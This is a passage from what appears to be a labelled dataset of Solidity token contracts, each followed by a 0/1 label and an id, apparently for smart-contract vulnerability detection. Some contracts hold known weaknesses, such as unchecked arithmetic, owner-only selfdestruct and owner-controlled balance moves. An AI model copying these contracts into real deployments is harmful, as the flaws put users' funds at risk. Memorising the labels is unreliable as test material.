emit OnVotedForUnlocking(voter, possibleFraudster, sum, minVotesCount); if (sum>=minVotesCount) { voteLockedWallets[possibleFraudster] = false; } return 1; } function banVoter(address voter) public onlyAdmin returns(uint256) { forbiddenVoters[voter] = true; emit OnVoterBannished(voter); } function allowVoter(address voter) public onlyAdmin returns(uint256) { forbiddenVoters[voter] = false; emit OnVoterAllowed(voter); } } contract Token is SocialLocker { address public validator; uint256 public minDelayBeforeStockChange = 6*3600; uint256 public maxReduceInUnit = 5000000; uint256 public maxReduce = maxReduceInUnit * 10**decimals; uint256 public maxExtendInUnit = maxReduceInUnit; uint256 public maxExtend = maxExtendInUnit * 10**decimals; uint256 constant decimalMultiplicator = 10**decimals; uint256 lastReduceCallTime = 0; bool public isReduceStockValidated = false; bool public isExtendStockValidated = false; uint256 public reduceVolumeInUnit = 0; uint256 public extendVolumeInUnit = 0; modifier onlyValidator() { require(msg.sender==validator); _; } event OnStockVolumeExtended(uint256 volumeInUnit, uint256 volumeInDecimal, uint256 newTotalSupply); event OnStockVolumeReduced( uint256 volumeInUnit, uint256 volumeInDecimal, uint256 newTotalSupply); event OnErrorLog(string functionName, string errorMsg); event OnLogNumber(string section, uint256 value); event OnMaxReduceChanged(uint256 maxReduceInUnit, uint256 oldQuantity); event OnMaxExtendChanged(uint256 maxExtendInUnit, uint256 oldQuantity); event OnValidationUserChanged(address oldValidator, address newValidator); constructor() public { validator = owner; } function changeMaxReduceQuantity(uint256 newQuantityInUnit) public onlyAdmin returns(uint256) { uint256 oldQuantity = maxReduceInUnit; maxReduceInUnit = newQuantityInUnit; maxReduce = maxReduceInUnit * 10**decimals; emit OnMaxReduceChanged(maxReduceInUnit, oldQuantity); return 1; } function changeMaxExtendQuantity(uint256 newQuantityInUnit) public onlyAdmin returns(uint256) { uint256 oldQuantity = maxExtendInUnit; maxExtendInUnit = newQuantityInUnit; maxExtend = maxExtendInUnit * 10**decimals; emit OnMaxExtendChanged(maxExtendInUnit, oldQuantity); return 1; } function changeValidationUser(address newValidatorAddress) public onlyOwner returns(uint256) { require(newValidatorAddress!=address(0x0)); emit OnValidationUserChanged(validator, newValidatorAddress); validator = newValidatorAddress; return 1; } function changeMinDelayBeforeStockChange(uint256 newDelayInSecond) public onlyAdmin returns(uint256) { if (newDelayInSecond<60) return 0; else if (newDelayInSecond>24*3600) return 0; minDelayBeforeStockChange = newDelayInSecond; emit OnLogNumber("changeMinDelayBeforeReduce", newDelayInSecond); return 1; } function requestExtendStock(uint256 volumeInUnit) public onlyAdmin returns(uint256) { require(volumeInUnit<=maxExtendInUnit); isExtendStockValidated = true; extendVolumeInUnit = volumeInUnit; return 1; } function cancelExtendStock() public onlyValidator returns(uint256) { isExtendStockValidated = false; return 1; } function extendStock(uint256 volumeAllowedInUnit) public onlyValidator returns(uint256,uint256,uint256,uint256) { if (!isExtendStockValidated) { emit OnErrorLog("extendStock", "Request not validated yet"); return (0,0,0,0); } require(extendVolumeInUnit<=maxExtendInUnit); require(volumeAllowedInUnit==extendVolumeInUnit); uint256 extraVolumeInDecimal = extendVolumeInUnit * decimalMultiplicator; uint256 baseAmount = totalSupply; uint256 finalAmount = baseAmount + extraVolumeInDecimal; assert(finalAmount >= baseAmount); totalSupply = finalAmount; baseAmount = balances[owner]; finalAmount = baseAmount + extraVolumeInDecimal; assert(finalAmount >= baseAmount); balances[owner] = finalAmount; isExtendStockValidated = false; emit OnStockVolumeExtended(extendVolumeInUnit, extraVolumeInDecimal, totalSupply); return ( extendVolumeInUnit, extraVolumeInDecimal, balances[owner], totalSupply ); } function requestReduceStock(uint256 volumeInUnit) public onlyAdmin returns(uint256) { require(volumeInUnit<=maxReduceInUnit); isReduceStockValidated = true; reduceVolumeInUnit = volumeInUnit; return 1; } function cancelReduceStock() public onlyValidator returns(uint256) { isReduceStockValidated = false; return 1; } function reduceStock(uint256 volumeAllowedInUnit) public onlyValidator returns(uint256,uint256,uint256,uint256) { if (!isReduceStockValidated) { emit OnErrorLog("reduceStock", "Request not validated yet"); return (0,0,0,0); } require(reduceVolumeInUnit<=maxReduceInUnit); require(volumeAllowedInUnit==reduceVolumeInUnit); if (!isReduceAllowedNow()) { return (0,0,0,0); } lastReduceCallTime = now; uint256 reducedVolumeInDecimal = reduceVolumeInUnit * decimalMultiplicator; uint256 baseAmount = totalSupply; uint256 finalAmount = baseAmount - reducedVolumeInDecimal; assert(finalAmount <= baseAmount); totalSupply = finalAmount; baseAmount = balances[owner]; finalAmount = baseAmount - reducedVolumeInDecimal; assert(finalAmount <= baseAmount); balances[owner] = finalAmount; emit OnStockVolumeReduced(reduceVolumeInUnit, reducedVolumeInDecimal, totalSupply); return ( reduceVolumeInUnit, reducedVolumeInDecimal, balances[owner], totalSupply ); } function isReduceAllowedNow() public view returns(bool) { uint256 delay = now - lastReduceCallTime; return (delay >= minDelayBeforeStockChange); } function getStockBalance() public view returns(uint256) { return totalSupply; } }
1
3,532
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract FIN is StandardToken { string public constant name = "Financial Incentive Network Points"; string public constant symbol = "FIN"; uint8 public constant decimals = 18; uint256 private constant OFFSET = 10 ** uint256(decimals); uint256 private constant BILLION = (10 ** 9) * OFFSET; uint256 private TOTAL_SUPPLY; constructor(address _holderA, address _holderB, address _holderC) public { balances[_holderA] = BILLION; emit Transfer(0x0, _holderA, BILLION); balances[_holderB] = BILLION; emit Transfer(0x0, _holderB, BILLION); balances[_holderC] = BILLION / 2; emit Transfer(0x0, _holderC, BILLION / 2); TOTAL_SUPPLY = balances[_holderA] + balances[_holderB] + balances[_holderC]; } function totalSupply() public view returns (uint256) { return TOTAL_SUPPLY; } } interface TokenValidator { function check( address _token, address _user ) external returns(byte result); function check( address _token, address _from, address _to, uint256 _amount ) external returns (byte result); } interface ValidatedToken { event Validation( byte indexed result, address indexed user ); event Validation( byte indexed result, address indexed from, address indexed to, uint256 value ); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ReferenceToken is Ownable, ERC20, ValidatedToken { using SafeMath for uint256; string internal mName; string internal mSymbol; uint256 internal mGranularity; uint256 internal mTotalSupply; mapping(address => uint) internal mBalances; mapping(address => mapping(address => bool)) internal mAuthorized; mapping(address => mapping(address => uint256)) internal mAllowed; uint8 public decimals = 18; TokenValidator internal validator; constructor( string _name, string _symbol, uint256 _granularity, TokenValidator _validator ) public { require(_granularity >= 1); mName = _name; mSymbol = _symbol; mTotalSupply = 0; mGranularity = _granularity; validator = TokenValidator(_validator); } function validate(address _user) internal returns (byte) { byte checkResult = validator.check(this, _user); emit Validation(checkResult, _user); return checkResult; } function validate( address _from, address _to, uint256 _amount ) internal returns (byte) { byte checkResult = validator.check(this, _from, _to, _amount); emit Validation(checkResult, _from, _to, _amount); return checkResult; } function isOk(byte _statusCode) internal pure returns (bool) { return (_statusCode & hex"0F") == 1; } function requireOk(byte _statusCode) internal pure { require(isOk(_statusCode)); } function name() public constant returns (string) { return mName; } function symbol() public constant returns(string) { return mSymbol; } function granularity() public constant returns(uint256) { return mGranularity; } function totalSupply() public constant returns(uint256) { return mTotalSupply; } function balanceOf(address _tokenHolder) public constant returns (uint256) { return mBalances[_tokenHolder]; } function isMultiple(uint256 _amount) internal view returns (bool) { return _amount.div(mGranularity).mul(mGranularity) == _amount; } function approve(address _spender, uint256 _amount) public returns (bool success) { if(validate(msg.sender, _spender, _amount) != 1) { return false; } mAllowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return mAllowed[_owner][_spender]; } function mint(address _tokenHolder, uint256 _amount) public onlyOwner { requireOk(validate(_tokenHolder)); require(isMultiple(_amount)); mTotalSupply = mTotalSupply.add(_amount); mBalances[_tokenHolder] = mBalances[_tokenHolder].add(_amount); emit Transfer(0x0, _tokenHolder, _amount); } function transfer(address _to, uint256 _amount) public returns (bool success) { doSend(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(_amount <= mAllowed[_from][msg.sender]); mAllowed[_from][msg.sender] = mAllowed[_from][msg.sender].sub(_amount); doSend(_from, _to, _amount); return true; } function doSend( address _from, address _to, uint256 _amount ) internal { require(canTransfer(_from, _to, _amount)); mBalances[_from] = mBalances[_from].sub(_amount); mBalances[_to] = mBalances[_to].add(_amount); emit Transfer(_from, _to, _amount); } function canTransfer( address _from, address _to, uint256 _amount ) internal returns (bool) { return ( (_to != address(0)) && isMultiple(_amount) && (mBalances[_from] >= _amount) && isOk(validate(_from, _to, _amount)) ); } } contract Lunar is ReferenceToken { uint256 constant DECIMAL_SHIFT = 10 ** 18; constructor(TokenValidator _validator) ReferenceToken("Lunar Token - SAMPLE NO VALUE", "LNRX", 1, _validator) public { uint256 supply = 5000000 * DECIMAL_SHIFT; mTotalSupply = supply; mBalances[msg.sender] = supply; emit Transfer(0x0, msg.sender, supply); } } contract SimpleAuthorization is TokenValidator, Ownable { mapping(address => bool) private auths; constructor() public {} function check( address , address _address ) external returns (byte resultCode) { if (auths[_address]) { return hex"11"; } else { return hex"10"; } } function check( address , address _from, address _to, uint256 ) external returns (byte resultCode) { if (auths[_from] && auths[_to]) { return hex"11"; } else { return hex"10"; } } function setAuthorized(address _address, bool _status) public onlyOwner { auths[_address] = _status; } }
1
5,083
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TRUST { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); function TRUST ( ) public { totalSupply = 100000000 * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = "TRUST"; symbol = "TEC"; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } }
1
5,121
pragma solidity ^0.4.18; library SafeMath3 { function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; assert(a == 0 || c / a == b); } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint c) { c = a + b; assert(c >= a); } } contract Owned { address public owner; address public newOwner; event OwnershipTransferProposed(address indexed _from, address indexed _to); event OwnershipTransferred(address indexed _from, address indexed _to); modifier onlyOwner { require(msg.sender == owner); _; } function Owned() public { owner = msg.sender; } function transferOwnership(address _newOwner) onlyOwner public { require(_newOwner != owner); require(_newOwner != address(0x0)); OwnershipTransferProposed(owner, _newOwner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0x0); } } contract ERC20Interface { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function totalSupply() constant public returns (uint); function balanceOf(address _owner) constant public returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) constant public returns (uint remaining); } contract ERC20Token is ERC20Interface, Owned { using SafeMath3 for uint; uint public tokensIssuedTotal = 0; mapping(address => uint) balances; mapping(address => mapping (address => uint)) internal allowed; function totalSupply() constant public returns (uint) { return tokensIssuedTotal; } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint remaining) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract SaintCoinToken is ERC20Token { uint constant E6 = 10**6; string public constant name = "Saint Coins"; string public constant symbol = "SAINT"; uint8 public constant decimals = 0; uint public tokensPerEth = 1000; mapping(address => bool) public grantedContracts; address public helpCoinAddress; event GrantedOrganization(bool isGranted); function SaintCoinToken(address _helpCoinAddress) public { helpCoinAddress = _helpCoinAddress; } function setHelpCoinAddress(address newHelpCoinWalletAddress) public onlyOwner { helpCoinAddress = newHelpCoinWalletAddress; } function sendTo(address _to, uint256 _value) public { require(isAuthorized(msg.sender)); require(balances[_to] + _value >= balances[_to]); uint tokens = tokensPerEth.mul(_value) / 1 ether; balances[_to] += tokens; tokensIssuedTotal += tokens; Transfer(msg.sender, _to, tokens); } function grantAccess(address _address) public onlyOwner { grantedContracts[_address] = true; GrantedOrganization(grantedContracts[_address]); } function revokeAccess(address _address) public onlyOwner { grantedContracts[_address] = false; GrantedOrganization(grantedContracts[_address]); } function isAuthorized(address _address) public constant returns (bool) { return grantedContracts[_address]; } } contract PuertoRicoHurricaneRelief_SaintCoinCaller is Owned { address saintCoinAddress; address fundationWalletAddress; uint public percentForHelpCoin = 10; function PuertoRicoHurricaneRelief_SaintCoinCaller(address _saintCoinAddress, address _fundationWalletAddress) public { require(_saintCoinAddress != address(0x0)); require(_fundationWalletAddress != address(0x0)); saintCoinAddress = _saintCoinAddress; fundationWalletAddress = _fundationWalletAddress; } function setFoundationAddress(address newFoundationWalletAddress) public onlyOwner { fundationWalletAddress = newFoundationWalletAddress; } function setPercentForHelpCoin(uint _percentForHelpCoin) public onlyOwner { percentForHelpCoin = _percentForHelpCoin; } function () public payable { SaintCoinToken sct = SaintCoinToken(saintCoinAddress); sct.sendTo(msg.sender, msg.value); fundationWalletAddress.transfer(this.balance * (100 - percentForHelpCoin) / 100); sct.helpCoinAddress().transfer(this.balance); } }
0
758
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract LibertyEcoToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; uint256 public reserveCap = 0; uint256 public tokensRemain = 0; uint256 public tokensSold = 0; uint256 public tokensDistributed = 0; uint256 public tokensPerEth = 100; uint256 public EtherInWei = 0; bool reserveCapped = false; address public fundsWallet; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "LES"; name = "Liberty EcoToken"; decimals = 18; _totalSupply = 10000000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); fundsWallet = msg.sender; tokensRemain = _totalSupply.sub(reserveCap); } function totalSupply() public view returns (uint256) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint256 balance) { return balances[tokenOwner]; } function transfer(address to, uint256 tokens) public returns (bool success) { require(to != address(0)); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint256 tokens) public returns (bool success) { require(spender != address(0)); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address _from, address to, uint256 tokens) public returns (bool success) { require(_from != address(0) && to != address(0)); balances[_from] = balances[_from].sub(tokens); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(_from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint256 remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint256 tokens, bytes memory data) public returns (bool success) { require(spender != address(0)); require(tokens != 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { require(msg.value != 0); if(balances[owner] >= reserveCap) { EtherInWei = EtherInWei.add(msg.value); uint256 amount = tokensPerEth.mul(msg.value); require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet].sub(amount); balances[msg.sender] = balances[msg.sender].add(amount); emit Transfer(fundsWallet, msg.sender, amount); fundsWallet.transfer(msg.value); deductToken(amount); } else { revert("Token balance reaches reserve capacity, no more tokens will be given out."); } } function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } function deductToken(uint256 amt) private { tokensRemain = tokensRemain.sub(amt); tokensSold = tokensSold.add(amt); } function setReserveCap(uint256 tokenAmount) public onlyOwner { require(tokenAmount != 0 && reserveCapped != true); reserveCap = tokenAmount * 10**uint(decimals); tokensRemain = balances[owner].sub(reserveCap); reserveCapped = true; } function setReserveCapPercentage (uint percentage) public onlyOwner { require(percentage != 0 && reserveCapped != true); reserveCap = calcSupplyPercentage(percentage); tokensRemain = balances[owner].sub(reserveCap); reserveCapped = true; } function calcSupplyPercentage(uint256 percent) public view returns (uint256){ uint256 total = _totalSupply.mul(percent.mul(100)).div(10000); return total; } function distributeTokenByAmount(address dist_address, uint256 tokens)public payable onlyOwner returns (bool success){ require(balances[owner] > 0); uint256 tokenToDistribute = tokens * 10**uint(decimals); require(tokensRemain >= tokenToDistribute); balances[owner] = balances[owner].sub(tokenToDistribute); balances[dist_address] = balances[dist_address].add(tokenToDistribute); emit Transfer(owner, dist_address, tokenToDistribute); tokensRemain = tokensRemain.sub(tokenToDistribute); tokensDistributed = tokensDistributed.add(tokenToDistribute); return true; } function releaseCapByAmount(uint256 tokenAmount) public onlyOwner { require(tokenAmount != 0 && reserveCapped == true); tokenAmount = tokenAmount * 10**uint(decimals); require(balances[owner] >= tokenAmount); reserveCap = reserveCap.sub(tokenAmount); tokensRemain = tokensRemain.add(tokenAmount); } }
1
3,866
pragma solidity ^0.4.24; library iMath { function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract iCashwebToken { address public iOwner; mapping(address => bool) iOperable; bool _mintingStarted; bool _minted; modifier notMinted() { require(_minted == false); _; } modifier mintingStarted() { require(_mintingStarted == true); _; } modifier iOnlyOwner() { require(msg.sender == iOwner || iOperable[msg.sender] == true); _; } function manageOperable(address _from, bool _value) public returns(bool) { require(msg.sender == iOwner); iOperable[_from] = _value; emit Operable(msg.sender, _from, _value); return true; } function isOperable(address _addr) public view returns(bool) { return iOperable[_addr]; } function manageMinting(bool _val) public { require(msg.sender == iOwner); _mintingStarted = _val; emit Minting(_val); } function destroyContract() public { require(msg.sender == iOwner); selfdestruct(iOwner); } event Operable(address _owner, address _from, bool _value); event Minting(bool _value); event OwnerTransferred(address _from, address _to); } contract iCashweb is iCashwebToken { using iMath for uint256; string public constant name = "iCashweb"; string public constant symbol = "ICWs"; uint8 public constant decimals = 18; uint256 _totalSupply; uint256 _rate; uint256 _totalMintSupply; uint256 _maxMintable; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _approvals; constructor (uint256 _price, uint256 _val) public { iOwner = msg.sender; _mintingStarted = true; _minted = false; _rate = _price; uint256 tokenVal = _val.mul(10 ** uint256(decimals)); _totalSupply = tokenVal.mul(2); _maxMintable = tokenVal; _balances[msg.sender] = tokenVal; emit Transfer(0x0, msg.sender, tokenVal); } function getMinted() public view returns(bool) { return _minted; } function isOwner(address _addr) public view returns(bool) { return _addr == iOwner; } function getMintingStatus() public view returns(bool) { return _mintingStarted; } function getRate() public view returns(uint256) { return _rate; } function totalMintSupply() public view returns(uint256) { return _totalMintSupply; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address _addr) public view returns (uint256) { return _balances[_addr]; } function allowance(address _from, address _to) public view returns (uint256) { return _approvals[_from][_to]; } function transfer(address _to, uint _val) public returns (bool) { assert(_balances[msg.sender] >= _val && msg.sender != _to); _balances[msg.sender] = _balances[msg.sender].sub(_val); _balances[_to] = _balances[_to].add(_val); emit Transfer(msg.sender, _to, _val); return true; } function transferFrom(address _from, address _to, uint _val) public returns (bool) { assert(_balances[_from] >= _val); assert(_approvals[_from][msg.sender] >= _val); _approvals[_from][msg.sender] = _approvals[_from][msg.sender].sub(_val); _balances[_from] = _balances[_from].sub(_val); _balances[_to] = _balances[_to].add(_val); emit Transfer(_from, _to, _val); return true; } function approve(address _to, uint256 _val) public returns (bool) { _approvals[msg.sender][_to] = _val; emit Approval(msg.sender, _to, _val); return true; } function () public mintingStarted payable { assert(msg.value > 0); uint tokens = msg.value.mul(_rate); uint totalToken = _totalMintSupply.add(tokens); assert(_maxMintable >= totalToken); _balances[msg.sender] = _balances[msg.sender].add(tokens); _totalMintSupply = _totalMintSupply.add(tokens); iOwner.transfer(msg.value); emit Transfer(0x0, msg.sender, tokens); } function moveMintTokens(address _from, address _to, uint256 _value) public iOnlyOwner returns(bool) { require(_to != _from); require(_balances[_from] >= _value); _balances[_from] = _balances[_from].sub(_value); _balances[_to] = _balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function transferMintTokens(address _to, uint256 _value) public iOnlyOwner returns(bool) { uint totalToken = _totalMintSupply.add(_value); require(_maxMintable >= totalToken); _balances[_to] = _balances[_to].add(_value); _totalMintSupply = _totalMintSupply.add(_value); emit Transfer(0x0, _to, _value); return true; } function releaseMintTokens() public notMinted returns(bool) { require(msg.sender == iOwner); uint256 releaseAmount = _maxMintable.sub(_totalMintSupply); uint256 totalReleased = _totalMintSupply.add(releaseAmount); require(_maxMintable >= totalReleased); _totalMintSupply = _totalMintSupply.add(releaseAmount); _balances[msg.sender] = _balances[msg.sender].add(releaseAmount); _minted = true; emit Transfer(0x0, msg.sender, releaseAmount); emit Release(msg.sender, releaseAmount); return true; } function changeRate(uint256 _value) public returns (bool) { require(msg.sender == iOwner && _value > 0); _rate = _value; return true; } function transferOwnership(address _to) public { require(msg.sender == iOwner && _to != msg.sender); address oldOwner = iOwner; uint256 balAmount = _balances[oldOwner]; _balances[_to] = _balances[_to].add(balAmount); _balances[oldOwner] = 0; iOwner = _to; emit Transfer(oldOwner, _to, balAmount); emit OwnerTransferred(oldOwner, _to); } event Release(address _addr, uint256 _val); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _from, address indexed _to, uint256 _value); }
1
3,588
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function 